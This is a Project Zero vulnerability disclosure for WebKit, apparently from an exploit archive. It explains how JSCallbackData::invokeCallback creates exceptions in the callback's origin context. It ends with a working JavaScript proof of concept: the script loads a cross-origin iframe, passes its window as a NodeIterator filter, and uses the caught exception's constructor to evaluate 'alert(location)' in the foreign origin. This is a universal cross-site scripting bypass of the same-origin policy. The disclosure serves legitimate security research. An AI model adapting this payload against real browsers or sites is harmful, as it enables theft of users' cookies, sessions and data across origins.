70 lines
No EOL
2.4 KiB
HTML
70 lines
No EOL
2.4 KiB
HTML
<!--
|
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1068
|
|
|
|
Here is the definition of |JSCallbackData| class. This class is used to call a javascript function from a DOM object.
|
|
|
|
class JSCallbackDataStrong : public JSCallbackData {
|
|
public:
|
|
JSCallbackDataStrong(JSC::JSObject* callback, void*)
|
|
: m_callback(callback->globalObject()->vm(), callback)
|
|
{
|
|
}
|
|
|
|
JSC::JSObject* callback() { return m_callback.get(); }
|
|
JSDOMGlobalObject* globalObject() { return JSC::jsCast<JSDOMGlobalObject*>(m_callback->globalObject()); }
|
|
|
|
JSC::JSValue invokeCallback(JSC::MarkedArgumentBuffer& args, CallbackType callbackType, JSC::PropertyName functionName, NakedPtr<JSC::Exception>& returnedException)
|
|
{
|
|
return JSCallbackData::invokeCallback(callback(), args, callbackType, functionName, returnedException);
|
|
}
|
|
|
|
private:
|
|
JSC::Strong<JSC::JSObject> m_callback;
|
|
};
|
|
|
|
JSValue JSCallbackData::invokeCallback(JSObject* callback, MarkedArgumentBuffer& args, CallbackType method, PropertyName functionName, NakedPtr<JSC::Exception>& returnedException)
|
|
{
|
|
ASSERT(callback);
|
|
|
|
auto* globalObject = JSC::jsCast<JSDOMGlobalObject*>(callback->globalObject()); <<<---------- (1)
|
|
ASSERT(globalObject);
|
|
|
|
ExecState* exec = globalObject->globalExec();
|
|
JSValue function;
|
|
CallData callData;
|
|
CallType callType = CallType::None;
|
|
|
|
if (method != CallbackType::Object) {
|
|
function = callback;
|
|
callType = callback->methodTable()->getCallData(callback, callData);
|
|
}
|
|
if (callType == CallType::None) {
|
|
if (method == CallbackType::Function) {
|
|
returnedException = JSC::Exception::create(exec->vm(), createTypeError(exec)); <<<---------- (2)
|
|
return JSValue();
|
|
}
|
|
...
|
|
}
|
|
...
|
|
}
|
|
|
|
But |JSCallbackData::invokeCallback| method obtains the |ExecState| object from the callback object. So if we invoke |JSCallbackData::invokeCallback| method with the different origin's window as |callback|, an exception object will be created from the different domain's javascript context.
|
|
|
|
PoC:
|
|
-->
|
|
|
|
"use strict";
|
|
|
|
let f = document.body.appendChild(document.createElement("iframe"));
|
|
f.onload = () => {
|
|
f.onload = null;
|
|
|
|
try {
|
|
let iterator = document.createNodeIterator(document, NodeFilter.SHOW_ALL, f.contentWindow);
|
|
iterator.nextNode();
|
|
} catch (e) {
|
|
e.constructor.constructor("alert(location)")();
|
|
}
|
|
};
|
|
|
|
f.src = "https://abc.xyz/"; |